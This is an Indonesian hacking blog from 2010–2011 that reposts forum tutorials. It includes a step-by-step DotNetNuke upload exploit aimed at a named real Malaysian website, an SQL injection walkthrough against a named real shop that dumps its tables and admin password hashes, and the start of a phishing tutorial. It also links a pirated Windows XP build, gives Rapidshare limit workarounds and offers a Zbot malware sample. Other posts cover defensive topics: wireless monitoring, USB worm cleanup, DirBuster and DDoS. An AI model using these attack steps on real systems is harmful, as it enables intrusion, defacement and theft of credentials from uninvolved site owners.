NEO_Blackhat

2011-05-11T04:45:00.001-07:00

MENANGKAP PENYUSUP WIRELESS Part. I

2011-04-04T06:42:00.000-07:00

Tingkatkan keamanan jaringan wireless lo, dan cari siapa yang main main ama wireless kita.

Jaringan wireless adalah sebuah penemuan yang indah. Dengan wireless, kita dapat dengan mudah menyebarkan jaringan computer yang kompleks tanpa perlu menghubungkan mereka ke kabel. Tapi sayangnya, banyak yang menyalahgunakan wireless untuk kepentingan mereka sendiri. Sehingga orang lain dirugikan.

Beberapa cara untuk memantau dan memastikan wireless kita ama dari serangan…hehehe :

1. Pemantauan Jaringan

Hacker selalu mencari tempat yang memiliki jaringan terbaik untuk melakukan penyerangan agar dia dapat dengan mudah merangkul korbannya….(ga mau kan wi-fi kamu tiba2 lelet mendadak dan kamu ga tau kenapa??wkawakw)

Meskipun kita udah pake software pemantau wi-fi,sepintar2nya orang pembuat software pasti bias diloncati hacker kan??ehhehehe…

I have a good tips for you…

Ada sebuah software bagus namanya inSSIDer pabrikannya MetaGeek.

Nih penampakannya gan :

Cara memakai :

- Jalankan lalu pilih interface jaringan wireless Anda dari daftar pull-down di bagian atas jendela inSSIDer.

- Klik tombol start. Di bagian atas ada table yang berisi jaringan yang ditemukan inSSIDer. Di table ini berisi informasi mulai dari perangkat wi-fi access pointanya,nama jaringan (sebutannya a.k.a bahasa gaulnya SSID) wakwkawk…,terus kekuatan sinyal, sama jenis keamanan wi-fi yang dipake..

- Terus coba km liat pada tabel Time Graph. Si inSSIDer ini bias menampilkan grafik real time yang bisa menggambarkan kekuatan sinyal setiap daftar jaringan.(jadi kalo sinyal kamu lelet,bisa keliatan disini..wkawkakw…tapi belum tentu sinyal lelet karena hacker…bisa jadi karena cuaca buruk or bawaan modemnya lagi lelet amatt…)waakwkawk

- Pada tab x GHz channels ada grafik yang menunjukkan kekuatan sinyal. So jika kita nggak dapet sinyal yang bagus,coba km ubah access point ke salah satu yang ngga dipake jaringan disekitar kamu,lalu sambung kembali.

- Kolom RSSI (received signal strength indication) dalam tabel bisa dijadikan sebg ukuran untk. Mengetahui jarak antara kamu dan sinyal tempat.

Mantap kan??
hehehehe…

ntar tutorialnya lanjut lagi...wkwkwk..tunggu episode berikutnya...:2thumbup

Kalo mau nyoba download dulu bro and sis..

Linknya : Download inSSIDer

Tutorial Inject WebFile dgn DNN (Dot Net Nuke) Xploit

2011-03-15T02:03:00.000-07:00

Halo kawan2...
ada yang mau tau cara inject webfile??
nih aku kasitau caranya....
(kelihatannya sih susah ya...tapi kalo ga dicoba ga bisa ntar!!!)

Tahap pertama yang mesti di siapkan adalah :
1. Browser favorite kamu..
2. NotePad..
3. Kejelian (Ini yang penting)...

Lanjut.. Pertama kita akan mencari target dulu..
buka browser, lalu buka google.
ketikkan perintah/Dork yang masih segar ini sebagai berikut :

CODE: SELECT ALL: inurl:"/portals/0"

contoh seperti pada screenshot di bawah :

target nya seperti screenshot di atas merupakan salah satu website dari negeri jiran..
(google.com.my emang asoy-ngeboy)..

Buka homepage dari website/target di atas.Lalu periksa setiap gambar yang terletak Pada path :

CODE: SELECT ALL: /portal/0/

copy dan periksa lokasi/alamat gambar tersebut dan simpan di notepad..

Sebagai contoh panduan target ane di :

CODE: SELECT ALL: http://www.metrodriving.com.my/

Kita cari beberapa file yang paling mudah dulu, contohnya seperti file2 gambar seperti banner,dll..
Dalam kasus ini, ane copy salah satu alamat url gambar yang ada pada halaman ini :

CODE: SELECT ALL: http://www.metrodriving.com.my/Home/tabid/110/Default.aspx

jika pada browser Mozilla, arahkan kursor ke gambar. Lalu klik kanan, dan “copy image location”. Nah, muncullah alamat berikut :

CODE: SELECT ALL: http://www.metrodriving.com.my/Portals/0/MDA/b.JPG

Copy-Paste ke notepad url2 image di atas ke notepad. Sekarang nama file gambar saat ini b.JPG.

Selanjutnya, siapkan sebuah gambar baru yang akan kita gunakan untuk menginjeksi/menimpa file yang telah ada. lalu ubah nama gambar baru tersebut dengan nama dan ekstensi yang sama.
Contoh lihat seperti di atas, file tersebut bernama & berekstensi b.JPG. jadi file gambar yang akan kita upload nanti harus bernama + ekstensi yang sama..

Sekarang saatnya kita melakukan tahap2 untuk mengeksploitasi. coba masukkan url berikut :

CODE: SELECT ALL: /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Cukup copy paste path di atas sehingga menjadi seperti ini :

CODE: SELECT ALL: http://www.WebsiteTarget.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Dalam kasus ini, ane pastekan linknya target kita tadi sebagai berikut :

CODE: SELECT ALL: http://www.metrodriving.com.my/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

lalu muncullah :

Seperti gambar di atas, ada tiga pilihan pada “Link-Type”..
karena yang bakal injek adalah gambar depannya,
maka pilih pada pilihan ketiga pada “Link-Type” nya. kita pilih file b.JPG..
Setelah memilih pilihan ketiga tersebut "File (A File From Your Site)", ganti URL di bar dgn script di bawah ini :

CODE: SELECT ALL: javascript: __doPostBack ('$ ctlURL cmdUpload','')

Lalu Tekan Enter……
Wewww…Setelah menjalankan script java di atas, kita akan melihat pilihan untuk Upload file seperti screenshot di bawah :

Terakhir..Pastikan kamu telah merubah nama file+ekstensinya menjadi b.JPG seperti yang telah ane sebutkan sebelumnya di atas, lalu upload lah file tersebut..
Jika sudah, buka homepage dimana lokasi gambar tersebut seperti yang ane lakukan di atas.
Hasilnya :

CODE: SELECT ALL: http://www.metrodriving.com.my/Home/tabid/110/Default.aspx http://www.metrodriving.com.my/Portals/0/MDA/b.JPG

SUMBER : Forum X-CODE.OR.ID

Keep Posting..!!!

2011-02-15T19:13:00.001-08:00

wahh..
ngeliat pengunjungnya udah 2700an bikin aku semangat memprjuangkan blog ini ke titik akhir
wkakakaakakk

SEMANGAT SEMANGAT!!

Windows XP SP3 Black Edition ISO

2011-02-15T05:28:00.000-08:00

Ini ada windows baru bro!
Abis muter2 di web ketemu ginian
heheheheh.....
Check This Out!

This version of Windows XP is designed for your convenience. It requires less memory from your system and it doesnt need a serial number as this is the unattended version. It includes the following programs:

* Window Media Player 11
* PowerIso
* Acrobat 8.0
* WindowBlind 5.04 Enhanced plus many new themes
* TuneUp Utilities 2007 English
* Microsoft Java VM Build 3809
* Sun Java 2 Version5.0.6 W/SP2
* IE 7 Final Activated
* Firefox 2
* Thunderbird 1.5.0.9
* Klite Codec Pack 2.80
* ZoneAlarm 6.5.737.2006 Pro
* Blindwrite 6.0.1.19 By eXperience
* Nero 7.59 Lite
* Ultra Iso 8.6.0.1936
* Fraunhofer IIs MP3 Code
* Quicktime Alternative
* Acrobat Reader
* WinRAR
* Windows Vista RTM sidebar plus extra gadgets

History of updates and fixes:

- Added Segoe Print and Segoe ****** Fonts (Fixes Notes Gadget)
- Added more cool Gadgets (Black Jack, Tetris, Bricks, Pong, Command Launcher, Internet Search)
- Fixed Version Number in Add-Remove Programs (from 5477 to 5744)
- Minor RegDLL Changes
- Now uses ProfileItems for QuickLaunch Shortcut
- Improved Installation process (No more RunOnceEx Box)
- Fixed VAIO Shell Extension not registering
- Added Vista Calculator and Drive Info Gadgets
- Changed skin to Glass
- Quick Launch shortcut moved to UserProfile
- Systray Icon issue FIXED! (Had to go from RTM 6.0.6000 down to RC2 6.0.5744, I will go back to RTM when the new VAIO Build is
released)
- Added Calibri fonts (Fixes CPU Meeter)
- Changed the Sidebar Skin to a much nicer one as you can see in the screenshot (Fade Skin)
- Changed Shortcut placement from All Programs to All Programs -> Accesories.

Size : 630 MB

Mau download ?
Cek DISINI!

Sumber : CODER INDONESIA

CMC SPECIAL ZBOT

2010-09-02T00:46:00.000-07:00

Jika anda belum pernah mendengar istilah Zbot? Zbot adalah malware dari jenis worm Trojan yang cukup bandel ketika dia sudah menguasai system anda. Sehingga tercatat belum ditemukan Antivirus local yang cocok untuk membasmi virus ini ketika dia sudah menyerang system anda, bahkan prosesnya pun aot untuk dimatikan karena dia mampu mencengkeram system dengan menguncikan dirinya agar tidak dapat dibunuh dengan mudah sekalipun dengan tool Bantu yang ada. Tidak hanya itu nilai registry stratup nya pun juga tak lupa ia kunci agar tidak dapat dihapus dengan mudah. Jadi berhati-hatilah dan segera lakukan penanganan kusus jika virus ini menyerang system anda sebelum data-data penting anda dimanfaatkan oleh sang pembuat virus.

Untuk itu CMC menghadirkan versi sepesial kusus untuk menangani malware bandle ini yang belum sanggup ditangani dengan CMC versi global walapun anda mampu memakai fitur Temporary Malware Signer sekalipun. CMC special Zbot sanggup memusnahkan proses virus yang dikenal dengan nama Win32/Spy.Zbot.NJ oleh Nod32, dan dalam kamus virus CMC dinamakan Win32/Spy.Zbot.N. berikut adalah screen shot CMC special Zbot.

Worm ini punya 1 induk dalam system dengan file bernama sdra64.exe pada folder %AppData% dengan value startup registry pada HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit.

CMC special Zbot dirancang kusus untuk membasmi virus ini sehingga CMC special Zbot mampu melepaskan kunci dari file-file induk Zbot dari memory. Bagi anda para pembuat Antivirus anda dapat mendapatkan sample virus Win32/Spy.Zbot.N ini disini:

Download sampel virus di atachment

Download CMC special Zbot disini:
http://codenesia.com/produk-codenesia.aspx

SUMBER : XCODE FORUM

Jeyix.exe/Jeyixx.exe : Worm Pembuat Shortcut Di USB

2010-09-02T00:43:00.000-07:00

Jeyix.exe
virus ini kembali hadir di kalangan masyarakat

virus yang merupakan worm ini,memiliki pekerjaan untuk menyembunyikan semua file dan folder yang ada di suatu USB dan menggantinya dengan shortcut.

Virus ini mungkin tidak berbahaya tapi sangat membuat waktu kerja kita terbuang
saat telah terinfeksi,semua file kerja yang kita butuhkan akan hilang disembunyikan oleh virus ini.

Aku pernah ngalamin virus ini..kejadiannya 1 minggu lalu..
Setelah dicoba, SMADAV 8.2(update terbaru) di laptopku ngga bisa detect virus ini!!
jadinya aku ga bisa kerjain tugas dehh..

Akhirnya aku nyari cara untuk nyembuhin USB..

- Masuk ke Task Manager ternyata ada 1 file yg bekerja dengan nama "Jeyix.exe", langsung saja aku masuk regedit trus buang semua registry yang berkaitan dengan kata "Jeyix.exe" kemudian langkah terakhir saya menghapus semua file-file yang ditambahkan oleh worm tersebut (semua file shortcut).

Ada cara lain juga nih :

1.Saya akan colokkan Flashdisk saya ke laptop teman saya.
2.Setelah itu saya copot & colokkan Flashdisknya ke laptop saya.
3.Jangan di buka dulu Flashdisknya! Anda harus lakukan ini :
   - Buka cmd.exe
   - Ketik Attrib -r -a -s -h DriveFlashdisk:\*.* /s /d
   contoh : attrib -r -a -s -h J:\*.* /s /d
   (kalo misalnya ketemu,terus mau langsung kill,bisa ketik command ini di cmd
   erase /f /q C:\WINDOWS\system32\wuaucldt.exe)
4.Kemudian barulah di buka, dengan cara Klik Kanan, Explore pada Drive FlashDisk.
5.Kalo beruntung, mungkin anda bisa menemukan folder yang 'dikira hilang', kalo nggak beruntung ya kemungkinan foldernya di hapus
6.Dan kalo anda beruntung, anda bisa menemukan file yang mencurigakan di Flashdisk tadi. Mungkin di Flashdisk tersebut ada file autorun.inf, dan kalo di buka pake notepad mungkin akan bertuliskan gini
[AUTORUN]
open=nama file virus.exe
shellexecute=nama file virus.exe
Dari situ kita akan tahu nama file virus yang hinggap di Flashdisk tadi...

SUMBER :XCODE FORUM

Tutor PHISING

2010-07-31T07:01:00.000-07:00

hmmmm...guyss..

ni tutor hacking yang sederhana

lets check....

1. pilih site target yg mau dijadiin halaman phising
2. liat source codenya, klik kanan => source bisa juga ctrl+u trus save jadi index.htm
3. buka index.html yg tadi pake notepad, cari kata "action=" biasanya ketemu yg kaya gini
Code:

--------------------------------------------------------------------------

TUTOR SINGKAT TENTAG LEWATI RAPIDSHARE LIMITED

2010-07-26T02:33:00.000-07:00

1. MELEWATI COUNTER TIME :

1) TEKAN TOMBOL REFRESH MAKA WAKTU AKAN BERKURANG. MKAFA TEKAN RERFRESH SECARA TERUS MENERUS MAKA WAKTU AKAN BERKURANG. 2) ATAU MASUKAN SCRIP INI DI ADDRESS BAR
CODE: SELECT ALL
javascript:alert(c=0)
FILE JADI BISA LANGSUNG DI DONLOT

2. LIMITED DONLOAD = KADANG KALO DONLOT LEBIH DRI SATU BAKAL GAK BISA. RAPIDSHARE BERKATA " LIMITED DOWNLOAD" . BAGAIMANA CARA BIAR BISA DONLOT LAGI ? PAKE PROXI, GANTI IP MENJADI PROXY. CARANYA:

MASUK KE CMD, KETIKAN
CODE: SELECT ALL
ipconfig /flushdns
ipconfig /release
ipconfig /renew

SUMBER : FORUM X-CODE

SQL Injection - Panduan Praktis dengan menggunakan Tool

2010-07-26T02:30:00.000-07:00

Siang semua...
abis jalan2 ketemu ini nih..
kayaknya keren..
silahkan dicoba...

Tool yang anda butuhkan untuk mempelajari teknik SQL Injection dibawah ini adalah
[-]Reiluke SQL Injection/XXS/RFI/LFI scanner

CODE: SELECT ALL: http://www.ziddu.com/download/10062481/exploitscanner.zip.html

[-]Reiluke SQLi helper Vers 2.7

CODE: SELECT ALL: http://www.ziddu.com/download/10062751/sqliHelper2.7.zip.html

Sebagai percobaan, kita gunakan kelemahan sql injection pada website yang menggunakan produk
CMS The iceberg milik http://www.imagetraders.com.au dengan Dork = details.php?p_id= 'Design & SEO by Image Traders Pty Ltd' (baca thread : http://forum.xcode.or.id/viewtopic.php?f=99&t=39284 ).
jalankan Reiluke SQL Injection/XXS/RFI/LFI scanner dan masukkan dork tersebut.

Tunggu beberapa saat dan kemudian ditemukan 112 web yang akan di test bug sqli

Klik "Test Sites" dan tunggu proses scanning

Di kolom Vulnerable List akan menampilkan sejumlah website yang bisa diijeksi dengan script racun SQL

Mari kita coba ekploitasi salah satu website tersebut. Jalankan Reiluke SQLi helper Vers 2.7 dan sebagai percobaan adalah http://www.kincclothing.com/goods.php?p_id=41. Klik "Inject" dan tunggu beberapa saat.

Get Server Info
Check if URL is Vulnerable
URL is Vulnerable
Check No. of Columns
No. of columns : 4
Check No. of Columns - finished
Looking for larget text visible column
Col num 1 found
Check if supports union
Check if supports union - finished
Check Current user
Check Current user - finished
Check if database version
Check if database version - finished
Check Current Database
Check current database - finished
Checking LoadFile
Check Load File - finished
Mysql version 5 OK - Please Get Database
Tool ini mendeteksi bahwa website tersebut bisa di-injeksi. kita bisa mendapatkan informasi lebih mendalam dari website tsb. sekarang klik 'Get database' untuk mendapatkan informasi database website tsb.

[1] Setelah muncul information_schema dan database dengan nama : kincc2_zc1 ,
[2] Arahkan Mouse dan pilih kincc2_zc1 lalu klik 'Get Tables' dan kemudian struktur tabel dalam database tersebut akan didapatkan sbb:
zen_admin
users
zen_address_book
zen_address_format
zen_admin
zen_admin_activity_log
zen_authorizenet
zen_banners
zen_banners_history
zen_categories
zen_categories_description
zen_configuration
zen_configuration_group
zen_counter
zen_counter_history
zen_countries
zen_coupon_email_track
zen_coupon_gv_customer
zen_coupon_gv_queue
zen_coupon_redeem_track
zen_coupon_restrict
zen_coupons
zen_coupons_description
zen_currencies
zen_customers
zen_customers_basket
zen_customers_basket_attributes
zen_customers_info
zen_customers_wishlist
zen_db_cache
zen_email_archive
zen_ezpages
zen_featured
zen_files_uploaded
zen_geo_zones
zen_get_terms_to_filter
zen_group_pricing
zen_languages
zen_layout_boxes
zen_manufacturers
zen_manufacturers_info
zen_media_clips
zen_media_manager
zen_media_to_products
zen_media_types
zen_meta_tags_categories_description
zen_meta_tags_products_description
zen_music_genre
zen_newsletters
zen_orders
zen_orders_products
zen_orders_products_attributes
zen_orders_products_download
zen_orders_status
zen_orders_status_history
zen_orders_total
zen_paypal
zen_paypal_payment_status
zen_paypal_payment_status_history
zen_paypal_session
zen_product_music_extra
zen_product_type_layout
zen_product_types
zen_product_types_to_category
zen_products
zen_products_attributes
zen_products_attributes_download
zen_products_description
zen_products_discount_quantity
zen_products_notifications
zen_products_options
zen_products_options_types
zen_products_options_values
zen_products_options_values_to_products_options
zen_products_to_categories
zen_project_version
zen_project_version_history
zen_query_builder
zen_record_artists
zen_record_artists_info
zen_record_company
zen_record_company_info
zen_reviews
zen_reviews_description
zen_salemaker_sales
zen_sessions
zen_specials
zen_tax_class
zen_tax_rates
zen_template_select
zen_upgrade_exceptions
zen_whos_online
zen_zones
zen_zones_to_geo_zones
[3] Setelah Tabel diatas muncul. pilih tabel Zen_admin dan klik 'Get Columns' untuk mendapatkan informasi kolom pada tabel tsb. anda akan mendapatkan kolom :
admin_name
admin_email
admin_pass
admin_level
Kolom diatas berisi informasi admin login dan password.

[4]Blok keempat kolom tsb: admin_name, admin_email, admin_pass, admin_level dan klik 'Dump Now'
Admin beserta Password akan anda dapatkan dalam bentuk Hash yang telah dienkripsi.

yang perlu anda lanjutkan sendiri adalah mencrack enkripsi tersebut, kemudian menemukan halaman login dan masuk ke website.

SUMBER : FORUM X-CODE

Berburu Direktori dan File Sensitif dengan DirBuster

2010-07-17T05:01:00.000-07:00

Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan “konyol”. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.

Direktori Sensitif

Semua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain:

Backup

Hal yang biasanya dibackup adalah database dan source script webnya. Bayangkan apa yang terjadi bila hacker berhasil mendapatkan seluruh file php dan “database dump” dalam satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda salah besar, karena saya sering menemukan file backup berekstensi zip, tar.gz, atau sql berserakan di websitenya.

Halaman Login

Ada banyak macam halaman login, umumnya adalah halaman login untuk mengelola isi website, yaitu CMS Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin, cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2 adalah Java based webserver dan web service platform.

Kenapa halaman login termasuk sensitif? Karena dengan mengetahui URL untuk menjadi Administrator website, seorang hacker bisa melakukan serangan SQL Injection, password guessing, dictionary attack dan brute force attack untuk membuat dirinya menjadi seorang administrator di website anda. Celakanya banyak website yang halaman login adminnya tidak menggunakan password yang kuat, bahkan menggunakan password default.

Log file

Log file biasanya dipakai untuk tujuan debugging atau penelusuran kesalahan oleh web developer. Karena itu tidak heran bila dalam log file banyak mengandung informasi sensitif yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung dari web aplikasi yang dipakai karena web developer punya kebebasan untuk membuat atau tidak membuat file log.

Salah satu contoh log file yang biasa ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa mendapatkan banyak informasi sensitif: antara lain IP address web server anda (banyak web yang menyembunyikan IP address sebenarnya dibalik NAT), full path lokasi document root web anda, username account hosting anda (bila dalam full path mengandung nama seperti /home/username/…./).

WS_FTP.LOG juga bisa membocorkan isi sebuah direktori bila anda sudah mematikan fitur “Directory Indexing” atau membuat file index.html kosong. Seorang hacker yang tidak bisa melihat isi direktori karena directory index dimatikan atau ada file index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu. Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan isi file dalam direktori tersebut.

Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title “Index of /”.

Versi Lama

Terkadang ketika sebuah website diupdate ke versi baru, file-file script lama disimpan dalam satu direktori bernama oldversion, version1 dan versi barunya dalam direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu web adalah kesempatan emas untuk menemukan celah keamanan karena biasanya web versi terbarunya memang tidak mengandung kelemahan, namun bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah keamanan.

Saya pernah menemukan sebuah website yang securitynya bagus, saya tidak menemukan vulnerability di sana, namun ternyata dia lupa membuang versi lama dari web tersebut. Namun ternyata web versi lama yang mengandung banyak bug dari SQL injection sampai local file injection masih bisa diakses di direktori lain. Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti apa-apa karena hacker bisa menyerang dari web versi lamanya.

Berburu Direktori dan File Sensitif

Nama direktori atau file bisa ditemukan dengan 2 cara:

Crawling

Crawling ini adalah cara yang dipakai oleh search engine untuk mendapatkan isi website anda. Ini adalah cara yang “sopan”, karena kita hanya mencari apa yang memang disediakan oleh pemilik webnya. Search engine crawling akan mengikuti direktori apa yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt. Jadi bila ada direktori sensitif yang bisa di-search di Google, maka itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link. Bila di seluruh jagat internet ini tidak ada satupun link ke direktori itu, maka tidak mungkin direktori itu muncul di Google.

Kita bisa memanfaatkan Google Hacking untuk mencari direktori sensitif yang sengaja atau tidak sengaja ter-index oleh Google. Kita juga bisa membuat script atau memakai program semacam wget untuk melakukan crawling website (tidak memanfaatkan Google index). Menjalankan crawler sendiri terkadang diperlukan bila kita ingin melakukan crawling direktori yang search engine dilarang untuk masuk (diblacklist di /robots.txt).

Guessing

Bila dengan cara sopan tidak mendapatkan direktori sensitif, maka kita terpaksa pakai cara “kasar”. Mendapatkan direktori sensitif dengan cara ini sama dengan menebak password. Ada dua cara yang bisa dipakai:

Pure Brute Force Attack

Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.

Dictionary Attack

Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.

DirBuster dari OWASP

Dalam artikel ini saya akan menggunakan tools gratisan, DirBuster yang dibuat oleh OWASP (Open Web Application Security Project), sebuah kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada kualtias kamus yang dimilikinya.

DirBuster memiliki kamus yang sangat lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan nama ini didapatkan dari internet dengan cara melakukan crawling terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh di file dengan akhiran medium.txt, dan semua nama yang ditemukan ditaruh dalam file berakhiran big.txt.

Bila anda membutuhkan daftar nama direktori saja untuk dipakai di program lain, anda juga bisa mendownload kamusnya saja tanpa harus mendownload DirBuster.

Tools ini sangat mudah digunakan, jadi silakan saja langsung download DirBuster. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.

Scanning Type

Ada dua jenis scanning yang bisa dilakukan, pure brute force atau dictionary based attack. Bila anda memilih memakai teknik pure brute force, maka anda harus menentukan character set (kumpulan karakter) yang akan dijadikan nama direktori dan tentukan juga panjang minimal dan maksimalnya. Semakin besar populasi dari character set yang anda pilih dan semakin panjang max length yang anda pilih, semakin besar kumpulan kata yang dihasilkan, itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya. Gambar di bawah ini adalah screenshot ketika memilih pure brute force.

Bila memilih list based brute force, maka kita harus memilih file berisi daftar nama direktori. DirBuster sudah menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:

directory-list-2.3-small.txt (87650 words) : Minimal dipakai di 3 situs berbeda.
directory-list-2.3-medium.txt (220546 words) : Minimal dipakai di 2 situs berbeda.
directory-list-2.3-big.txt (1273819 words) : Minimal pernah dipakai.
directory-list-lowercase-2.3-small.txt (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt
directory-list-lowercase-2.3-medium.txt (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt
directory-list-lowercase-2.3-big.txt (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt
directory-list-1.0.txt (141694 words) : Daftar awalnya, tidak terurut
apache-user-enum-1.0.txt (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server
apache-user-enum-2.0.txt (10341 usernames) : Dipakai untuk user enumeration

Dalam list yang disediakan DirBuster juga menyediakan daftar username yang dipakai untuk user enumeration, yaitu mendapatkan nama user yang valid di sebuah server. Dalam web server Apache yang mengaktifkan mod_userdir, bisa dilakukan user enumeration dengan cara menggunakan ~namauser sebagai nama direktori.

Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.

Starting Options

Pilihan lain yang harus dipilih adalah starting options, yaitu di mana titik mulainya DirBuster mencari direktori. Pilihannya adalah standard start point, atau URL Fuzz. Standard start point adalah pilihan yang paling banyak digunakan karena pilihan ini berarti kita meminta DirBuster untuk menggunakan nama direktori sebagai titik awal.

Pilihan yang ada ketika kita memilih Standard Start Point adalah checkbox Brute Force Dirs yang bisa dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori dan nama file, atau direktori saja, atau nama file saja.

Pilihan File extention bisa diisi dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi, kita bisa centang pilihan Use Blank Extention.

Pilihan Be Recursive digunakan untuk membuat DirBuster melakukan pencarian secara mendalam (Deep First Search), yaitu mencari subdirektori dalam sebuah direktori, mencari sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman tertentu.

Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti PHPProxy.

Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.

Walaupun tools ini sangat sederhana, tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin nanti anda akan terkejut melihat banyaknya webmaster yang sembrono menaruh file/direktori sensitif di websitenya.

sumber : ilmuhacking

HACKER INDONESIA MENYERANG LEBIH 300 WEB SERVER

2010-07-15T06:55:00.000-07:00

Sejak hari minggu (2 mei 2010) kemaren hacker indonesia menyerang 300 ribu lebih web server dengan dDos(Penolakan Layanan secara Terdistribusi). Main IP yg ditemukan berasal dari PT TELKOM yaitu 125.160.245.150 // 125.163.179.26. ... ini tuduhan dari media barat...

Penolakan Layanan secara Terdistribusi (bahasa Inggris: Distributed Denial of Service (DDos)) adalah salah satu jenis serangan Denial of Service yang menggunakan banyak host penyerang (baik itu menggunakan komputer yang didedikasikan untuk melakukan penyerangan atau komputer yang "dipaksa" menjadi zombie) untuk menyerang satu buah host target dalam sebuah jaringan.

Serangan Denial of Service klasik bersifat "satu lawan satu", sehingga dibutuhkan sebuah host yang kuat (baik itu dari kekuatan pemrosesan atau sistem operasinya) demi membanjiri lalu lintas host target sehingga mencegah klien yang valid untuk mengakses layanan jaringan pada server yang dijadikan target serangan. Serangan DDoS ini menggunakan teknik yang lebih canggih dibandingkan dengan serangan Denial of Service yang klasik, yakni dengan meningkatkan serangan beberapa kali dengan menggunakan beberapa buah komputer sekaligus, sehingga dapat mengakibatkan server atau keseluruhan segmen jaringan dapat menjadi "tidak berguna sama sekali" bagi klien.

Serangan DDoS pertama kali muncul pada tahun 1999, tiga tahun setelah serangan Denial of Service yang klasik muncul, dengan menggunakan serangan SYN Flooding, yang mengakibatkan beberapa server web di Internet mengalami "downtime". Pada awal Februari 2000, sebuah serangan yang besar dilakukan sehingga beberapa situs web terkenal seperti Amazon, CNN, eBay, dan Yahoo! mengalami "downtime" selama beberapa jam. Serangan yang lebih baru lagi pernah dilancarkan pada bulan Oktober 2002 ketika 9 dari 13 root DNS Server diserang dengan menggunakan DDoS yang sangat besar yang disebut dengan "Ping Flood". Pada puncak serangan, beberapa server-server tersebut pada tiap detiknya mendapatkan lebih dari 150000 request paket Internet Control Message Protocol (ICMP). Untungnya, karena serangan hanya dilakukan selama setengah jam saja, lalu lintas Internet pun tidak berlalu terpengaruh dengan serangan tersebut (setidaknya tidak semuanya mengalami kerusakan).

AWARD PERTAMA.....

2010-07-06T05:48:00.000-07:00

AWARD KE 1 YANG MENYENANGKAN

